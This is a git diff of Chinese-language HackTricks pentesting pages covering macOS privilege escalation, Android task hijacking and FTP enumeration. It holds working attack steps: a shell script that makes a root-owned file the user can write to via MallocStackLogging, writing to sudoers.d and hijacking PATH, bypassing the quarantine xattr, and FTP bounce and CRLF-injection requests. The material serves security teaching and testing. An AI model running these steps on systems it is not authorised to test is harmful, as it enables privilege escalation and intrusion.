示例:[https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
|
||||
|
||||
## 符号链接 / 硬链接
|
||||
|
||||
如果一个特权进程正在写入**文件**,该文件可能被**低权限用户控制**,或者可能是由低权限用户**先前创建**的。用户只需通过符号链接或硬链接**将其指向另一个文件**,特权进程将写入该文件。
|
||||
如果一个特权进程正在写入**文件**,该文件可能被**低权限用户控制**,或者可能是**之前由低权限用户创建**。用户可以通过符号链接或硬链接**将其指向另一个文件**,特权进程将写入该文件。
|
||||
|
||||
请查看其他部分,攻击者可以**滥用任意写入以提升权限**。
|
||||
|
||||
|
@ -64,11 +64,11 @@
|
|||
```
|
||||
## 任意FD
|
||||
|
||||
如果你可以让一个**进程以高权限打开一个文件或文件夹**,你可以滥用**`crontab`**来打开`/etc/sudoers.d`中的一个文件,使用**`EDITOR=exploit.py`**,这样`exploit.py`将获得对`/etc/sudoers`中文件的FD并滥用它。
|
||||
如果你可以让一个**进程以高权限打开一个文件或文件夹**,你可以滥用**`crontab`**来打开`/etc/sudoers.d`中的一个文件,使用**`EDITOR=exploit.py`**,这样`exploit.py`将获得`/etc/sudoers`中文件的FD并滥用它。
|
||||
|
||||
例如:[https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
||||
|
||||
## 避免隔离xattrs技巧
|
||||
## 避免quarantine xattrs技巧
|
||||
|
||||
### 删除它
|
||||
```bash
|
||||
|
@ -124,11 +124,11 @@ ls -le /tmp/test
|
|||
|
||||
**AppleDouble**文件格式会复制文件及其ACEs。
|
||||
|
||||
在[**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)中,可以看到存储在名为**`com.apple.acl.text`**的xattr中的ACL文本表示将被设置为解压后文件的ACL。因此,如果您将一个应用程序压缩成一个使用ACL阻止其他xattr写入的**AppleDouble**文件格式的zip文件... 那么隔离xattr就不会设置到应用程序中:
|
||||
在[**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)中,可以看到存储在名为**`com.apple.acl.text`**的xattr中的ACL文本表示将被设置为解压后文件中的ACL。因此,如果您将一个应用程序压缩成一个使用ACL阻止其他xattr写入的**AppleDouble**文件格式的zip文件... 那么隔离xattr就不会设置到应用程序中:
|
||||
|
||||
查看[**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)以获取更多信息。
|
||||
|
||||
要复制这一点,我们首先需要获取正确的acl字符串:
|
||||
要复制这一过程,首先需要获取正确的acl字符串:
|
||||
```bash
|
||||
# Everything will be happening here
|
||||
mkdir /tmp/temp_xattrs
|
||||
|
@ -148,7 +148,7 @@ ls -le test
|
|||
```
|
||||
(Note that even if this works the sandbox write the quarantine xattr before)
|
||||
|
||||
并不是真的需要,但我还是留在那里以防万一:
|
||||
不是必需的,但我还是留在这里以防万一:
|
||||
|
||||
{% content-ref url="macos-xattr-acls-extra-stuff.md" %}
|
||||
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
|
||||
|
@ -156,9 +156,9 @@ ls -le test
|
|||
|
||||
## 绕过代码签名
|
||||
|
||||
Bundle 包含文件 **`_CodeSignature/CodeResources`**,其中包含 **bundle** 中每个 **文件** 的 **哈希**。请注意,CodeResources 的哈希也嵌入在可执行文件中,因此我们无法对其进行更改。
|
||||
Bundle 包含文件 **`_CodeSignature/CodeResources`**,其中包含 **bundle** 中每个 **文件** 的 **哈希**。请注意,CodeResources 的哈希也嵌入在可执行文件中,因此我们不能对其进行更改。
|
||||
|
||||
然而,有一些文件其签名不会被检查,这些文件在属性列表中具有键 omit,例如:
|
||||
然而,有一些文件的签名不会被检查,这些文件在 plist 中具有省略键,如:
|
||||
```xml
|
||||
<dict>
|
||||
...
|
||||
|
@ -211,6 +211,8 @@ openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/
|
|||
## 挂载dmgs
|
||||
|
||||
用户甚至可以将自定义dmg挂载到一些现有文件夹上。以下是如何创建带有自定义内容的自定义dmg包的方法:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create the volume
|
||||
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
|
||||
|
@ -260,32 +262,46 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
### 生成脚本 `/Applications/Scripts/privesc.sh`,包含您希望以 root 权限运行的**命令**。
|
||||
### 生成脚本 `/Applications/Scripts/privesc.sh`,其中包含您希望以 root 权限运行的**命令**。
|
||||
|
||||
### Sudoers 文件
|
||||
|
||||
如果您拥有**任意写入权限**,您可以创建一个文件在文件夹 **`/etc/sudoers.d/`** 中,授予自己**sudo**权限。
|
||||
如果您拥有**任意写入权限**,您可以在**`/etc/sudoers.d/`**文件夹中创建一个文件,授予自己**sudo**权限。
|
||||
|
||||
### PATH 文件
|
||||
|
||||
文件 **`/etc/paths`** 是一个主要用于填充 PATH 环境变量的地方。您必须是 root 才能覆盖它,但如果**特权进程**的脚本执行一些**没有完整路径的命令**,您可能可以通过修改此文件来**劫持**它。
|
||||
文件**`/etc/paths`**是填充 PATH 环境变量的主要位置之一。您必须是 root 才能覆盖它,但如果**特权进程**的脚本执行一些**没有完整路径的命令**,您可能可以通过修改此文件来**劫持**它。
|
||||
|
||||
您还可以在 **`/etc/paths.d`** 中编写文件,将新文件夹加载到 `PATH` 环境变量中。
|
||||
您还可以在**`/etc/paths.d`**中编写文件,以将新文件夹加载到 `PATH` 环境变量中。
|
||||
|
||||
## 生成其他用户可写文件
|
||||
|
||||
这将生成一个属于 root 的文件,我可以对其进行写入操作([**代码在此处**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew\_lpe.sh))。这也可能作为权限提升操作:
|
||||
```bash
|
||||
DIRNAME=/usr/local/etc/periodic/daily
|
||||
|
||||
mkdir -p "$DIRNAME"
|
||||
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"
|
||||
|
||||
MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername
|
||||
|
||||
FILENAME=$(ls "$DIRNAME")
|
||||
echo $FILENAME
|
||||
```
|
||||
## 参考资料
|
||||
|
||||
* [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上**关注我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,32 +8,24 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快修复。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## 任务、后退栈和前台活动
|
||||
|
||||
在Android中,**任务**本质上是一组用户与之交互以完成特定工作的活动,组织在**后退栈**内。该栈根据打开活动的时间顺序对活动进行排序,最近的活动显示在顶部作为**前台活动**。在任何时刻,屏幕上只有这个活动可见,使其成为**前台任务**的一部分。
|
||||
在Android中,**任务**本质上是用户与之交互以完成特定工作的一组活动,这些活动在**后退栈**中组织。该栈根据打开活动的时间顺序对活动进行排序,最近的活动显示在顶部作为**前台活动**。在任何时刻,只有这个活动在屏幕上可见,使其成为**前台任务**的一部分。
|
||||
|
||||
以下是活动转换的简要说明:
|
||||
|
||||
- **活动1**开始作为前台中唯一的活动。
|
||||
- 启动**活动2**将**活动1**推送到后退栈,将**活动2**带到前台。
|
||||
- 启动**活动3**将**活动1**和**活动2**进一步推到栈中,现在**活动3**在前面。
|
||||
- 关闭**活动3**将**活动2**带回前台,展示了Android简化的任务导航机制。
|
||||
* **活动1**开始作为前台中唯一的活动。
|
||||
* 启动**活动2**将**活动1**推送到后退栈,将**活动2**带到前台。
|
||||
* 启动**活动3**将**活动1**和**活动2**进一步推到栈的后面,现在**活动3**在前面。
|
||||
* 关闭**活动3**将**活动2**带回前台,展示了Android简化的任务导航机制。
|
||||
|
||||
![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../.gitbook/assets/image (548).png>)
|
||||
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (548).png>)
|
||||
|
||||
## 任务亲和性攻击
|
||||
|
||||
|
@ -43,33 +35,27 @@
|
|||
|
||||
### 启动模式
|
||||
|
||||
`launchMode`属性指导任务内活动实例的处理。**singleTask**模式对于此攻击至关重要,根据现有活动实例和任务亲和性匹配,规定了三种情况。攻击的关键在于攻击者的应用程序能够模仿目标应用程序的任务亲和性,误导Android系统启动攻击者的应用程序而不是预期的目标应用程序。
|
||||
`launchMode`属性指导任务内活动实例的处理。**singleTask**模式对于此攻击至关重要,根据现有活动实例和任务亲和性匹配,指导三种情况。攻击的关键在于攻击者的应用程序能够模仿目标应用程序的任务亲和性,误导Android系统启动攻击者的应用程序而不是预期的目标应用程序。
|
||||
|
||||
### 详细的攻击步骤
|
||||
|
||||
1. **恶意应用程序安装**:受害者在其设备上安装攻击者的应用程序。
|
||||
2. **初始激活**:受害者首先打开恶意应用程序,为攻击做准备。
|
||||
3. **目标应用程序启动尝试**:受害者尝试打开目标应用程序。
|
||||
4. **劫持执行**:由于匹配的任务亲和性,恶意应用程序代替目标应用程序启动。
|
||||
5. **欺骗**:恶意应用程序呈现一个伪造的登录屏幕,类似于目标应用程序,欺骗用户输入敏感信息。
|
||||
4. **劫持执行**:由于匹配的任务亲和性,恶意应用程序被启动代替目标应用程序。
|
||||
5. **欺骗**:恶意应用程序呈现一个伪造的登录界面,类似于目标应用程序,欺骗用户输入敏感信息。
|
||||
|
||||
要实施此攻击,请参考GitHub上的Task Hijacking Strandhogg存储库:[Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg)。
|
||||
要了解此攻击的实际实现,请参考GitHub上的Task Hijacking Strandhogg存储库:[Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)。
|
||||
|
||||
### 预防措施
|
||||
|
||||
为防止此类攻击,开发人员可以将`taskAffinity`设置为空字符串,并选择`singleInstance`启动模式,确保其应用程序与其他应用程序隔离。自定义`onBackPressed()`函数可提供额外的防护,防止任务劫持。
|
||||
为防止此类攻击,开发人员可以将`taskAffinity`设置为空字符串,并选择`singleInstance`启动模式,确保其应用程序与其他应用程序隔离。自定义`onBackPressed()`函数可以提供额外的保护,防止任务劫持。
|
||||
|
||||
## **参考资料**
|
||||
|
||||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快修复。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
@ -78,8 +64,8 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,22 +4,14 @@
|
|||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在 HackTricks 中做广告**? 或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 您在**网络安全公司**工作吗?想要看到您的**公司在 HackTricks 中被宣传**吗?或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT 收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我**。
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
**文件传输协议(FTP)** 用作服务器和客户端之间在计算机网络上进行文件传输的标准协议。\
|
||||
|
@ -32,17 +24,17 @@ PORT STATE SERVICE
|
|||
```
|
||||
### 连接活动和被动
|
||||
|
||||
在**主动FTP**中,FTP **客户端**首先从其端口N向FTP服务器的命令端口 - 端口21发起控制**连接**。然后,**客户端**监听端口**N+1**并将端口N+1发送给FTP服务器。FTP **服务器**然后从**其端口M向FTP客户端的端口N+1**发起数据**连接**。
|
||||
在**主动FTP**中,FTP **客户端**首先从其端口N到FTP服务器的命令端口(端口21)**发起**控制**连接**。然后,**客户端**监听端口**N+1**并将端口N+1发送给FTP服务器。FTP **服务器**然后从**其端口M到FTP客户端的端口N+1** **发起**数据**连接**。
|
||||
|
||||
但是,如果FTP客户端设置了控制外部数据连接的防火墙,则主动FTP可能会有问题。而对此的一个可行解决方案是被动FTP。
|
||||
但是,如果FTP客户端设置了控制外部数据连接的防火墙,则主动FTP可能会有问题。而,Passive FTP的一个可行解决方案。
|
||||
|
||||
在**被动FTP**中,客户端从其端口N向FTP服务器的端口21发起控制连接。之后,客户端发出一个**passv命令**。服务器然后向客户端发送其端口号M。然后**客户端**从**其端口P到FTP服务器的端口M**发起数据**连接**。
|
||||
在**被动FTP**中,客户端从其端口N到FTP服务器的端口21**发起**控制连接。之后,客户端发出一个**passv命令**。服务器然后向客户端发送其端口号M。**客户端**然后从**其端口P到FTP服务器的端口M** **发起**数据**连接**。
|
||||
|
||||
来源:[https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
### 连接调试
|
||||
|
||||
**FTP**命令**`debug`**和**`trace`**可用于查看**通信的发生方式**。
|
||||
**FTP**命令**`debug`**和**`trace`**可用于查看**通信是如何发生**的。
|
||||
|
||||
## 枚举
|
||||
|
||||
|
@ -133,7 +125,7 @@ nmap --script ftp-* -p 21 <ip>
|
|||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
注意,如果一个**web应用程序**将用户控制的数据**直接发送到FTP服务器**,你可以发送双重URL编码`%0d%0a`(在双重URL编码中为`%250d%250a`)字节,并让**FTP服务器执行任意操作**。其中一种可能的任意操作是从用户控制的服务器下载内容,执行端口扫描或尝试与其他基于明文的服务(如http)通信。
|
||||
注意,如果一个**web应用程序**将用户控制的数据**直接发送到FTP服务器**,您可以发送双重URL编码`%0d%0a`(在双重URL编码中为`%250d%250a`)字节,并使**FTP服务器执行任意操作**。其中一种可能的任意操作是从用户控制的服务器下载内容,执行端口扫描或尝试与其他基于明文的服务(如http)通信。
|
||||
|
||||
## 从FTP下载所有文件
|
||||
```bash
|
||||
|
@ -149,8 +141,8 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
* **`USER username`**
|
||||
* **`PASS password`**
|
||||
* **`HELP`** 服务器指示支持哪些命令
|
||||
* **`PORT 127,0,0,1,0,80`** 这将指示FTP服务器与IP 127.0.0.1的端口80建立连接(_需要将第5个字符设为"0",第6个字符设为十进制端口,或使用第5和第6个字符表示十六进制端口_)。
|
||||
* **`EPRT |2|127.0.0.1|80|`** 这将指示FTP服务器与IP 127.0.0.1的端口80建立TCP连接(由“2”指示)。此命令**支持IPv6**。
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\*这将指示FTP服务器与IP 127.0.0.1的端口80建立连接(_需要将第5个字符设为"0",第6个字符设为十进制端口,或使用第5和第6个字符表示十六进制端口_)。
|
||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*这将指示FTP服务器与IP 127.0.0.1的端口80建立TCP连接(_由"2"指示_)。此命令**支持IPv6**。
|
||||
* **`LIST`** 这将发送当前文件夹中的文件列表
|
||||
* **`LIST -R`** 递归列出(如果服务器允许)
|
||||
* **`APPE /path/something.txt`** 这将指示FTP将从**被动**连接或**PORT/EPRT**连接接收的数据存储到文件中。如果文件名存在,它将追加数据。
|
||||
|
@ -170,15 +162,15 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
|
||||
[**在这里了解如何滥用FTP服务器来扫描端口。**](ftp-bounce-attack.md)
|
||||
|
||||
您还可以滥用此行为使FTP服务器与其他协议交互。您可以**上传包含HTTP请求的文件**,并使易受攻击的FTP服务器**将其发送到任意HTTP服务器**(_也许添加新的管理员用户?_),或者甚至上传FTP请求并使易受攻击的FTP服务器下载不同FTP服务器的文件。\
|
||||
您还可以滥用此行为使FTP服务器与其他协议交互。您可以**上传包含HTTP请求的文件**,并使易受攻击的FTP服务器**将其发送到任意HTTP服务器**(_也许添加新的管理员用户?_),或者甚至上传FTP请求并使易受攻击的FTP服务器为不同的FTP服务器下载文件。\
|
||||
理论很简单:
|
||||
|
||||
1. **将请求(在文本文件中)上传到易受攻击的服务器。**请记住,如果要与另一个HTTP或FTP服务器通信,需要使用`0x0d 0x0a`更改行
|
||||
2. **使用`REST X`避免发送不想发送的字符**(也许为了将请求上传到文件中,您需要在开头放一些图像标头)
|
||||
1. **将请求(放在文本文件中)上传到易受攻击的服务器。**请记住,如果要与另一个HTTP或FTP服务器通信,您需要使用`0x0d 0x0a`更改行。
|
||||
2. **使用`REST X`避免发送不想发送的字符**(也许要上传请求到文件中,您需要在开头放一些图像标头)
|
||||
3. **使用`PORT`连接到任意服务器和服务**
|
||||
4. **使用`RETR`将保存的请求发送到服务器。**
|
||||
|
||||
这很可能会引发类似**“Socket not writable”**的错误,因为连接不足以使用`RETR`发送数据。尝试避免这种情况的建议是:
|
||||
这很可能会引发类似于**_Socket not writable_**的错误,因为连接不足以使用`RETR`发送数据。尝试避免这种情况的建议是:
|
||||
|
||||
* 如果要发送HTTP请求,**重复相同请求**直到至少**\~0.5MB**。像这样:
|
||||
|
||||
|
@ -189,7 +181,7 @@ posts.txt
|
|||
* 尝试使用与协议相关的“垃圾”数据填充请求(与FTP通信可能只是垃圾命令或重复`RETR`指令以获取文件)
|
||||
* 只是使用大量空字符或其他字符填充请求(分行或不分行)
|
||||
|
||||
无论如何,这里有一个[关于如何滥用此功能使FTP服务器从不同FTP服务器下载文件的旧示例。](ftp-bounce-download-2oftp-file.md)
|
||||
无论如何,这里有一个[旧示例,说明如何滥用此功能使FTP服务器从不同的FTP服务器下载文件。](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Filezilla服务器漏洞
|
||||
|
||||
|
@ -210,7 +202,7 @@ vsFTPd的默认配置可以在`/etc/vsftpd.conf`中找到。在这里,您可
|
|||
- `anon_upload_enable=YES`
|
||||
- `anon_mkdir_write_enable=YES`
|
||||
- `anon_root=/home/username/ftp` - 匿名用户的目录。
|
||||
- `chown_uploads=YES` - 更改匿名上传文件的所有权
|
||||
- `chown_uploads=YES` - 更改匿名上传文件的所有者
|
||||
- `chown_username=username` - 被授予匿名上传文件所有权的用户
|
||||
- `local_enable=YES` - 允许本地用户登录
|
||||
- `no_anon_password=YES` - 不要求匿名用户输入密码
|
||||
|
@ -221,12 +213,6 @@ vsFTPd的默认配置可以在`/etc/vsftpd.conf`中找到。在这里,您可
|
|||
- `ftp`
|
||||
- `port:21`
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks自动命令
|
||||
|
@ -283,12 +269,12 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要看到您的**公司在HackTricks上做广告**吗?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks上宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,35 +1,27 @@
|
|||
# 143,993 - Pentesting IMAP
|
||||
# 143,993 - IMAP 渗透测试
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
